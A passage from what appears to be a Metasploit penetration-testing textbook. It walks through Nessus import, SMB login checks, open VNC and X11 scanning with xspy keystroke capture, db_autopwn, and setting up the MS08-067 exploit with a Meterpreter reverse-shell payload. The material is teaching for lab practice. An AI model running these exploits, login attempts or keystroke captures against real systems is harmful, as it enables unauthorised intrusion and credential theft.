Nessus results file by entering db_import followed by the report filename.
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /tmp/nessus_report_Host_195.nessus
[*] Importing 'Nessus XML (v2)' data
[*] Importing host 192.168.1.195
3. To verify that the scanned host and vulnerability data was imported
properly, enter db_hosts as shown next. This should output a brief list-
ing with the target IP address, the number of services detected, and the
number of vulnerabilities found by Nessus.
msf > db_hosts -c address,svcs,vulns
Hosts
=====
address svcs vulns
------- ---- -----
192.168.1.195 18 345

Vulnerability Scanning 49
4. For a complete listing of the vulnerability data that was imported into
Metasploit, enter db_vulns without any switches, as shown here:
msf > db_vulns
[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10916 refs=OSVDB-755
[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10915 refs=OSVDB-754
[*] Time: Wed Mar 09 03:40:11 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10913 refs=OSVDB-752
[*] Time: Wed Mar 09 03:40:12 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10114 refs=CVE-1999-0524,OSVDB-94,CWE-200
[*] Time: Wed Mar 09 03:40:13 UTC 2011 Vuln: host=192.168.1.195
name=NSS-11197 refs=CVE-2003-0001,BID-6535
At the end of your pen test, having these references available can be of
great assistance when you’re writing the report for your client.
Scanning with Nessus from Within Metasploit
During those times when you don’t feel like leaving the comfort of the
command line, you can use the Nessus Bridge plug-in (http://blog.zate.org/
nessus-plugin-dev/) by Zate within Metasploit. The Nessus Bridge allows you to
control Nessus completely through the Metasploit Framework, run scans,
interpret results, and launch attacks based on the vulnerabilities identified
through Nessus.
1. As in the preceding examples, first destroy the existing database with the
db_destroy command and create a new one using db_connect.
2. Load the Nessus plug-in by running load nessus, as shown here:
msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > load nessus
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[+] Exploit Index - (/root/.msf3/nessus_index) - is valid.
[*] Successfully loaded plugin: Nessus
3. Running the command nessus_help will display all of the commands that
the plug-in supports. The Bridge undergoes regular development and
updates, so it is a good idea to check the help output periodically to see
what new features, if any, have been added.

50 Chapter 4
4. Before starting a scan with the Bridge, you first need to authenticate to
your Nessus server using nessus_connect, as shown here:
msf > nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as dookie
[*] Authenticated
5. As with the GUI version of Nessus, you need to initiate a scan using a
defined policy by its policy ID number. To list the available scan policies
on the server, use nessus_policy_list:
msf > nessus_policy_list
[+] Nessus Policy List
ID Name Comments
-- ---- --------
-4 Internal Network Scan
-3 Web App Tests
-2 Prepare for PCI DSS audits
-1 External Network Scan
2 The_Works
6. Take note of the policy ID you want to use for your scan, and then launch
a new scan with nessus_scan_new followed by the policy number, a name
for your scan, and your target IP address as shown next:
msf > nessus_scan_new
[*] Usage:
[*] nessus_scan_new <policy id> <scan name> <targets>
[*] use nessus_policy_list to list all available policies
msf > nessus_scan_new 2 bridge_scan 192.168.1.195
[*] Creating scan from policy number 2, called "bridge_scan" and scanning 192.168.1.195
[*] Scan started. uid is d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
7. While your scan is in progress, you can see its status by running the
nessus_scan_status command. When this command’s output responds
with “No Scans Running,” as shown next, you will know that your scan
has completed.
msf > nessus_scan_status
[*] No Scans Running.
8. After the scan has completed, you can list the available scan reports with
the nessus_report_list command. Identify the ID of the report you want
to import and enter nessus_report_get to download the report and import
it into the Metasploit database automatically.
msf > nessus_report_list
[+] Nessus Report List

Vulnerability Scanning 51
ID Name Status Date
-- ---- ------ ----
074dc984-05f1-57b1-f0c9-2bb80ada82fd3758887a05631c1d Host_195 completed 19:43 Mar 08 2011
d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e bridge_scan completed 09:37 Mar 09 2011
[*] You can:
[*] Get a list of hosts from the report: nessus_report_hosts <report id>
msf > nessus_report_get d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
[*] importing d2f1fc02-3b50-4e4e-ab8f-38b0813dd96abaeab61f312aa81e
[*] 192.168.1.195 Microsoft Windows XP Professional (English) Done!
[+] Done
9. Finally, as with the other import functions demonstrated in this chapter,
you can use db_hosts to verify that the scan data was imported successfully:
msf > db_hosts -c address,svcs,vulns
Hosts
=====
address svcs vulns
------- ---- -----
192.168.1.195 18 345
Now that you’ve seen the variation in scan results from two different
products, you should have a better sense of the merit in using more than one
tool for your scanning needs. It is still up to the penetration tester to interpret
the results from these automated tools and turn them into actionable data.
Specialty Vulnerability Scanners
Although many commercial vulnerability scanners are available on the market,
you are not limited to them. When you want to run a scan for a specific vul-
nerability across a network, Metasploit’s many auxiliary modules can help
you accomplish such tasks.
The following Metasploit modules are just a few examples of the many
useful auxiliary scanning modules included in the Framework. Take advan-
tage of your lab to probe and explore as many of them as you can.
Validating SMB Logins
To check the validity of a username and password combination, use the SMB
Login Check Scanner to connect to a range of hosts. As you might expect,
this scan is loud and noticeable, and each login attempt will show up in the
event logs of every Windows box it encounters.
After selecting the smb_login module with use, you can run show_options to
see the settings listed under the Required column. Metasploit allows you to
specify a username and password combination, a username and password list,
or a combination of either. In the next example, RHOSTS is set to a small range
of IP addresses and a username and password are configured for Metasploit
to try against all addresses.

52 Chapter 4
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes Set the SMB service port
SMBDomain WORKGROUP no SMB Domain
SMBPass password no SMB Password
SMBUser Administrator no SMB Username
THREADS 50 yes The number of concurrent threads
USERPASS_FILE no File containing users and passwords separated
by space, one pair per line
USER_FILE no File containing usernames, one per line
msf auxiliary(smb_login) > set RHOSTS 192.168.1.150-155
RHOSTS => 192.168.1.170-192.168.1.175
msf auxiliary(smb_login) > set SMBUser Administrator
SMBUser => Administrator
msf auxiliary(smb_login) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_login) > run
[*] Starting host 192.168.1.154
[*] Starting host 192.168.1.150
[*] Starting host 192.168.1.152
[*] Starting host 192.168.1.151
[*] Starting host 192.168.1.153
[*] Starting host 192.168.1.155
[+] 192.168.1.155 - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 's3cr3t'
[*] Scanned 4 of 6 hosts (066% complete)
[*] Scanned 5 of 6 hosts (083% complete)
[*] Scanned 6 of 6 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >
You can see a successful login with user Administrator and a password of
s3cr3t at . Because workstations are all cloned from one image and deployed
through the enterprise in many corporate environments, the administrator
password may well be the same on all of them, granting you access to every
workstation on the network.
Scanning for Open VNC Authentication
Virtual network computing (VNC) provides graphical access to remote sys-
tems in a way that’s similar to Microsoft’s Remote Desktop. VNC installations
are common throughout corporations, because they provide a GUI-based
view of server and workstation desktops. VNC is frequently installed to meet a
temporary need and then completely forgotten and left unpatched, creating

Vulnerability Scanning 53
a major potential vulnerability. Metasploit’s built-in VNC Authentication
None scanner searches a range of IP addresses for VNC servers that do not
have a password configured (that support “None” authentication, meaning a
blank password). Usually, this scan will turn up nothing of value, but a good
penetration tester leaves no stone unturned when looking for ways access a
target system.
NOTE Recent VNC servers do not allow blank passwords. To set one up in your lab for testing,
use older VNC servers such as RealVNC 4.1.1.
The VNC scanner, like most Metasploit auxiliary modules, is easy to con-
figure and run. The only required configuration for vnc_none_auth is to supply
it with an IP or a range of IPs to scan. Simply select the module, define your
RHOSTS and THREADS, if desired, and run it, as shown next:
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(vnc_none_auth) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf auxiliary(vnc_none_auth) > run
[*] 192.168.1.155:5900, VNC server protocol version : RFB 003.008
[*] 192.168.1.155:5900, VNC server security types supported : None
[*] 192.168.1.155:5900, VNC server security types includes None, free access!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(vnc_none_auth) >
If you get lucky and Metasploit finds a VNC server with no authentica-
tion , you can use Back|Track’s vncviewer to connect to the target machine
without a password, as shown in Figure 4-18.
Figure 4-18: Connecting to VNC with no authentication using vncviewer
54 Chapter 4
If you think a VNC scan is likely to be a waste of time and that you’ll never
find systems with open VNC servers enabled, think again. During a large
penetration test, which included thousands of systems, one of the authors
noticed that one of those systems had an open VNC server.
While the author was in the system documenting his finding, he noticed
activity on the system. This was overnight on a system that was unlikely to
have an authorized user on it. While not always considered a best practice,
the author pretended to be another unauthorized intruder and engaged the
intruder in conversation via Notepad. The intruder was not very bright and
told the author that he was scanning large blocks of systems for open VNC
servers. Here is a segment of the conversation:
Author: You in the us? or out of country? I know some people
in denmark.
Attacker: I’m from Norway actually, hehe, I have relatives
in Denmark.
Author: You hang in any boards? like I used to like some but they
have been going away
Attacker: I mostly hang in some programming boards, but not much
else. Have you been into hacking for a long time or what? What’s
your age btw? I’m 22.
Author: I have been on this for like fun for around a year or so. Still
in school. 16. Just something to do.
Attacker: Haven’t been there. I too mostly do this for fun, just trying
to see what I can do, test my skills. I wrote the “VNC finder” myself
btw, I have found a lot of servers, but this is the only one where I
could actually have some fun
Author: Wow. What did you write it in? Can I dl it? Do you have
a handle?
Attacker: It’s written in a language called PureBasic, but it’s kinda
not ready for release yet, it’s only for my own use. But maybe I can
share it anyway, I could upload the code somewhere and let you
compile it. That is if you can find some PureBasic compiler on
some warez site :P
Author: Thats cool. you can put it in that pastebin site from irc.
That lets you anon post I have not done purebasic before. just
python and perl
Attacker: Let me see, I'll look for that pastebin site and upload it,
just give me some minutes, I’ll be around.
The attacker then gave the author a link to a pastebin page with the full
source for the custom VNC scanner he was using.
Scanning for Open X11 Servers
Metasploit’s built-in open_x11 scanner is similar to the vnc_auth scanner,
in that it scours a range of hosts for X11 servers that allow users to connect
without authentication. Although X11 servers aren’t widely used today, lots

Vulnerability Scanning 55
of archaic boxes out there are still running old, unpatched, and forgotten
operating systems. As you’ve seen in the preceding two examples, legacy sys-
tems are often the most vulnerable systems on a network.
To run the open_x11 scanner, simply configure as you would most other
auxiliary modules by setting the RHOSTS and, optionally, the THREADS values. A
session is shown next. Notice at IP address 192.168.1.23 that the scanner has
found an open X server. This is a serious vulnerability because it allows an
attacker to gain unauthenticated access to the system: The X system handles
the GUI including the mouse and keyboard.
msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 6000 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(open_x11) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(open_x11) > set THREADS 50
THREADS => 50
msf auxiliary(open_x11) > run
[*] Trying 192.168.1.1
[*] Trying 192.168.1.0
[*] Trying 192.168.1.2...
[*] Trying 192.168.1.29
[*] Trying 192.168.1.30
[*] Open X Server @ 192.168.1.23 (The XFree86 Project, Inc)
[*] Trying 192.168.1.31
[*] Trying 192.168.1.32
. . . SNIP . . .
[*] Trying 192.168.1.253
[*] Trying 192.168.1.254
[*] Trying 192.168.1.255
[*] Auxiliary module execution completed
To see what an attacker could do with a vulnerability like this, start key-
stroke logging using Back|Track’s xspy tool, like so:
root@bt:/# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy# ./xspy -display 192.168.1.23:0 -delay 100
ssh root@192.168.1.11(+BackSpace)37
sup3rs3cr3tp4s5w0rd
ifconfig
exit

56 Chapter 4
The xspy tool remotely sniffs the X server’s keyboard session and has cap-
tured a user running SSH to log in as root on a remote system. Vulnerabilities
such as this can be rare, but when you find them they are extremely valuable.
Using Scan Results for Autopwning
Let’s take a quick diversion into exploitation. Metasploit’s Autopwn tool auto-
matically targets and exploits a system using an open port or using the results
of a vulnerability scan export. You can use Autopwn to harness the results of
most vulnerability scanners, including NeXpose, Nessus, and OpenVAS.
For example, here’s how we could use a Nessus results import to target a
system and autopwn it. Create a new database with db_connect and use db_import
to import the scan report. In the next example, we run db_autopwn with a
series of switches to launch attacks against all targets (e), show all matching
modules (t), use a reverse shell payload (r), select exploit modules based on
vulnerability (x), and also select based on open ports (p). Once db_autopwn
launches, Metasploit begins launching exploits at the targets. Successful
exploits return a shell to the attacking machine.
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /root/nessus.nbe
msf > db_autopwn –e –t –r -x -p
[*] (1/72 [0 sessions]): Launching exploit/windows/mssql/ms09_004_sp_replwritetovarbin
against 192.168.33.130:1433...
[*] (2/72 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.33.130:445...
[*] (3/72 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against
192.168.33.130:445...
. . . SNIP . . .
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:40912 -> 192.168.1.115:15991)
[*] (72/72 [1 sessions]): Waiting on 2 launched modules to finish execution...
[*] (72/72 [1 sessions]): Waiting on 0 launched modules to finish execution...
Based on these scans, Autopwn launched 72 exploits and one was suc-
cessful, as shown at . This exploit allows us full access to the machine with a
Meterpreter console that will be discussed in far more depth in Chapter 6.
NOTE One big caveat to remember when using Autopwn: If you’re going in with your Autopwn
guns blazing, the target system can crash or lose stability. Autopwn has useful features
not covered here, such as the ability to select only exploits that have an “Excellent” rank-
ing, meaning it is very unlikely they will crash the remote system or service. For more
information on its usage, enter db_autopwn –h.

THE JOY OF EXPLOITATION
Exploitation is the pinnacle of many security profes-
sionals’ careers. The ability to gain full control over a
targeted machine is a great feeling, if perhaps a little
scary. But even though exploitation techniques have
advanced quite a bit over the years, the adoption of
various system and network protections has made it
increasingly more difficult to succeed with basic exploits. In this chapter,
we move into more difficult attack methods, beginning with command-line
interfaces to the Metasploit Framework. Most of the attacks and customizations
discussed in this chapter will occur in msfconsole, msfencode, and msfpayload.
Before you begin to exploit systems, you need to understand a few
things about penetration testing and exploitation. In Chapter 1 you were
introduced to basic penetration testing methods. In Chapter 2 you learned
the basics of the Framework and what to expect from each tool. In Chapter 3
we explored the intelligence gathering phase, and in Chapter 4 you learned
about vulnerability scanning.
In this chapter, we focus on the basics of exploitation. Our goal is to
familiarize you with the different commands available through the Frame-
work, which we’ll build upon in later chapters. Most of the attacks from this

58 Chapter 5
point forward will occur through msfconsole, and you will need a solid under-
standing of msfconsole, msfpayload, and msfencode to get the most out of the
balance of this book.
Basic Exploitation
The Metasploit Framework contains hundreds of modules, and it’s nearly
impossible to remember them all. Running show from msfconsole will display
every module available in the Framework, but you can also narrow your search
by displaying only specific types of modules as discussed in the following
sections.
msf> show exploits
Within msfconsole, exploits operate against the vulnerabilities that you dis-
cover during a penetration test. New exploits are always being developed,
and the list will continue to grow. This command will display every currently
available exploit within the Framework.
msf> show auxiliary
Auxiliary modules in Metasploit can be used for a wide range of purposes.
They can operate as scanners, denial-of-service modules, fuzzers, and much
more. This command will display them and list their features.
msf> show options
Options control various settings needed for proper functionality of the
Framework modules. When you run show options while a module is selected,
Metasploit will display only the options that apply to that particular module.
Entering msf> show options when not in a module will display the available
global options—for example, you can set LogLevel to be more verbose as you
perform an attack. You can also issue the back command to go back once
inside a module.
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > back
msf >
The search command is useful for finding a specific attack, auxiliary
module, or payload. For example, if you want to launch an attack against
SQL, you could search for SQL like this:
msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...

The Joy of Exploitation 59
Auxiliary
=========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
admin/mssql/mssql_enum normal Microsoft SQL Server Configuration
Enumerator
admin/mssql/mssql_exec normal Microsoft SQL Server xp_cmdshell
Command Execution
admin/mssql/mssql_idf normal Microsoft SQL Server - Interesting
Data Finder
admin/mssql/mssql_sql normal Microsoft SQL Server Generic Query
scanner/mssql/mssql_login normal MSSQL Login Utility
scanner/mssql/mssql_ping normal MSSQL Ping Utility
Exploits
. . . SNIP . . .
msf >
Or, to find the MS08-067 exploit specifically (an exploit related to the
notorious Conficker worm that exploited a weakness within the Remote
Procedure Call [RPC] service), you would enter this command:
msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name Rank Description
---- ---- -----------
windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack Corruption
Then, having found an exploit (windows/smb/ms08_067_netapi), you could
load the found module with the use command, like so:
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
Notice that when we issue the use windows/smb/ms08_067_netapi command,
the msf prompt changes as follows:
msf exploit(ms08_067_netapi) >
This indicates that we have selected the ms08_067_netapi module and
that commands issued at this prompt will be performed under that exploit.

60 Chapter 5
NOTE You can perform a search or use at any time within an exploit to switch to a different
exploit or module.
Now, with the prompt reflecting our chosen module, we can enter show
options to display the options specific to the MS08-067 exploit:
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) >
This contextual approach to accessing options keeps the interface simpler
and allows you to focus only on the options that matter at the moment.
msf> show payloads
Recall from Chapter 2 that payloads are platform-specific portions of code
delivered to a target. As with show options, when you run show payloads from a
module-specific prompt, Metasploit displays only the payloads that are com-
patible with that module. In the case of Microsoft Windows–based exploits,
these payloads may be as simple as a command prompt on the target or as
complex as a full graphical interface on the target machine. To see an active
list of payloads, run the following command:
msf> show payloads
This would show you all payloads available in Metasploit; however, if you
are in an actual exploit, you will see only payloads applicable to the attack.
For example, running show payloads from the msf exploit(ms08_067_netapi)
prompt would result in the output shown next.
In the previous example we searched for the MS08-067 module. Now
let’s find out the payloads for that module by entering show payloads. Notice
in the example that only Windows-based payloads are shown. Metasploit
will generally identify the type of payloads that can be used with a particu-
lar attack.

The Joy of Exploitation 61
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name Rank Description
---- ---- -----------
. . . SNIP . . .
windows/shell/reverse_ipv6_tcp normal Windows Command Shell, Reverse TCP
Stager (IPv6)
windows/shell/reverse_nonx_tcp normal Windows Command Shell, Reverse TCP
Stager (No NX or Win7)
windows/shell/reverse_ord_tcp normal Windows Command Shell, Reverse
Ordinal TCP Stager (No NX or Win7)
windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP
Stager
windows/shell/reverse_tcp_allports normal Windows Command Shell, Reverse
All-Port TCP Stager
windows/shell_bind_tcp normal Windows Command Shell, Bind TCP
Inline
windows/shell_reverse_tcp normal Windows Command Shell, Reverse TCP
Inline
Next, we enter set payload windows/shell/reverse_tcp to select the reverse_tcp
payload. When we enter show options again we see that additional options
are shown:
msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port

62 Chapter 5
Notice that when the payload is selected at and the options are dis-
played at , we are presented with some additional options in the payload
section at , such as LHOST and LPORT. In this example, you could configure
the payload to connect back to the attacker machine on a specific IP address
and port number, called a reverse payload. In reverse payloads, the connection
is actually triggered by the target machine and it connects to the attacker.
You might use this technique to circumvent a firewall or NAT installation.
We’ll configure this exploit with both the LHOST and RHOST options. LHOST,
our attacking machine, will connect back from the target machine (RHOST) on
the default TCP port (4444).
msf> show targets
Modules often list vulnerable potential targets. For example, because the vul-
nerability targeted by MS08-067 relies on hard-coded memory addresses, the
exploit is specific to operating systems with specific patch levels, language
version, and security implementations (as explained in detail in Chapters 14
and 15). Using the show targets command at the msf MS08-067 prompt displays
a list of 60 exploit targets (with only a portion shown in the following exam-
ple). The success of the exploit will depend on the version of Windows you
are targeting. Sometimes automatic detection will not work and could even
trigger the wrong exploit, which will usually lead to a service crash.
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)
In this example, you can see that the exploit lists Automatic Targeting
as one option. Often, an exploit module will attempt to target the operating
system automatically based on its version and select an exploit based on the
system’s fingerprint. However, it’s often best to try to identify the appropriate
exploit yourself to avoid triggering the wrong exploit or a potentially destruc-
tive one.
NOTE This particular exploit is temperamental, and it has a tough time determining the oper-
ating system. If you use this exploit, be sure to set the target as the specific operating system
you use in testing on your VM (Windows XP SP2).

The Joy of Exploitation 63
info
When the short description of a module provided by the show and search com-
mands isn’t sufficient, use the info command followed by the module name
to display all the information, options, and targets available for that module:
msf exploit(ms08_067_netapi) > info
set and unset
All the options for a given Metasploit module must be either set or unset,
especially if they are marked as required or yes. When you enter show options,
you will see information that specifies whether a field is required. Use the set
command to set an option (turn it on); use unset to turn a setting off. The
next listing shows the set and unset commands in use.
NOTE Notice that the variables are referenced using uppercase characters. This isn’t required,
but it is considered good practice.
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.155 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
3 Windows XP SP2 English (NX)
msf exploit(ms08_067_netapi) > unset RHOST
Unsetting RHOST...
At we set the target IP address (RHOST) to 192.168.1.155 (our target
machine). At we set the target to 3, the “Windows XP SP2 English (NX)”
that we listed with show targets in “msf> show targets” on page 62. Running
show options at confirms that our settings have been populated, as shown in
the Module options output.

64 Chapter 5
setg and unsetg
The setg and unsetg commands are used to set or unset a parameter globally
within msfconsole. Using these commands can save you from having to re-enter
the same information repeatedly, particularly in the case of frequently used
options that rarely change, such as LHOST.
save
Having configured global options with the setg command, use the save com-
mand to save your current settings so they will be available next time you run
the console. You can enter the save command at any time in Metasploit to
save your current place.
msf exploit(ms08_067_netapi) > save
Saved configuration to: /root/.msf3/config
msf exploit(ms08_067_netapi) >
The location in which the configuration is stored, /root/.msf3/config, is
shown on the screen. If for some reason you need to start over, move or delete
this file to revert to the default settings.
Exploiting Your First Machine
With some of the basics behind us and an understanding of how to set vari-
ables within msfconsole, let’s exploit our first machine. To do so, fire up your
Windows XP Service Pack 2 and Ubuntu 9.04 virtual machines. We’ll use
Metasploit from within Back|Track.
If you used the vulnerability scanners discussed in Chapter 4 against your
virtual Windows XP SP2 machine, you will have encountered the vulnerabil-
ity we’ll exploit in this chapter: the MS08-067 exploit. We’ll begin by finding
this vulnerability on our own.
As your skills as a penetration tester improve, the discovery of certain
open ports will trigger ideas about how you might exploit a particular service.
One of the best ways to conduct this check is by using nmap’s script options
within Metasploit as shown here:
root@bt:/root# cd /opt/framework3/msf3/
root@bt:/opt/framework3/msf3# msfconsole
. . . SNIP . . .
msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130
[*] exec: nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130
Starting Nmap 5.20 ( http://nmap.org ) at 2011-03-15 19:46 EDT
Warning: Traceroute does not support idle or connect scan, disabling...
NSE: Script Scanning completed.
Nmap scan report for 192.168.33.130
Host is up (0.00050s latency).
Not shown: 991 closed ports

The Joy of Exploitation 65
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS webserver 5.1
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
MAC Address: 00:0C:29:EA:26:7C (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: Host: ihazsecurity; OS: Windows
Host script results:
smb-check-vulns:
MS08-067: VULNERABLE
Conficker: Likely CLEAN
regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.67 seconds
msf >
Here, we call nmap from Metasploit with the --script=smb-check-vulns
plug-in at . Notice the flags used while scanning the host with nmap. The
-sT is a Stealth TCP connect, which we have found to be the most reliable flag
when trying to enumerate ports. (Others prefer -sS, or Stealth Syn.) The -A
specifies advanced OS detection, which does some additional banner grabs
and footprinting of a specific service for us.
Notice in the results from nmap that MS08-067: VULNERABLE is reported at .
This is a good indicator that we have a chance at exploiting this system. Let’s use
Metasploit to find the exploit we want and attempt to compromise the system.
This exploit is specific to the operating system version, service pack, and
language in use on the system, a result of the exploit bypassing Data Execution
Prevention (DEP). DEP was created to help protect against buffer overflow
attacks by rendering the stack read-only and thereby preventing arbitrarily
placed shellcode from executing. However, we can bypass DEP and force
Windows to make the stack writable by performing some complex stack
manipulation. (For more on bypassing DEP, see http://www.uninformed.org/
?v=2&a=4.)
In “msf> show targets” on page 62, we used the show targets command,
which lists each vulnerable version for this specific attack vector. Because
MS08-067 is an exploit that is very specific regarding the OS version in use,
we will manually set our target to make sure we trigger the correct overflow.
Based on the nmap scan results shown in the preceding example, we can
tell at that the system is running Windows XP Service Pack 2. (It is also

66 Chapter 5
identified as possibly Windows 2003, but the system is missing key ports that
would be associated with the Server Edition.) We’ll assume that our target is
running the English version of XP.
Let’s walk through the actual exploitation. First the setup:
msf > search ms08_067_netapi
[*] Searching loaded modules for pattern 'ms08_067_netapi'...
Exploits
========
Name Rank Description
---- ---- -----------
windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack
Corruption
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)
. . . SNIP . . .
26 Windows XP SP2 Japanese (NX)
. . . SNIP . . .
msf exploit(ms08_067_netapi) > set TARGET 3
target => 3
msf exploit(ms08_067_netapi) > set RHOST 192.168.33.130
RHOST => 192.168.33.130
msf exploit(ms08_067_netapi) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(ms08_067_netapi) > set LPORT 8080
LPORT => 8080
msf exploit(ms08_067_netapi) > show options

The Joy of Exploitation 67
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.33.130 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.33.129 yes The local address
LPORT 8080 yes The local port
Exploit target:
Id Name
-- ----
3 Windows XP SP2 English (NX)
We search for the MS08-067 NetAPI exploit in the Framework at .
Then, having found our exploit, we load the windows/smb/ms08_067_netapi
exploit at .
Next, at we set the payload as Windows-based Meterpreter reverse_tcp,
which, if successful, will start a connection on the target machine and con-
nect back to the attacking machine specified with LHOST. This is important if
you find that a firewall is in place and you need to bypass incoming controls
on a firewall or NAT.
Meterpreter is a post exploitation tool that we’ll use through this book. One
of Metasploit’s flagship tools, it makes extracting information or further
compromising systems significantly easier.
The show targets command at allows us to identify the system we want
to target. (Although many MSF exploits use automatic targeting and don’t
require this flag, autodetection capability generally fails in MS08-067.)
We then set our target to Windows XP SP2 English (NX) at . The NX stands
for No Execute. By default in Windows XP SP2, DEP is enabled.
At we set the IP address of our target machine which, by defining the
RHOST value, is vulnerable to the MS08-067 exploit.
The set LHOST command at specifies our attacking machine’s IP address
(the Back|Track machine), and the LPORT option at specifies the port to
which our attacker machine will listen for a connection from our target. (When
you’re setting the LPORT option, use a standard port that you think will be
allowed through the firewall: Ports 443, 80, 53, and 8080 are often good
options.) Finally, we enter show options at to make sure that the options are
set up correctly.

68 Chapter 5
Having set the stage, we’re ready to conduct the actual exploitation:
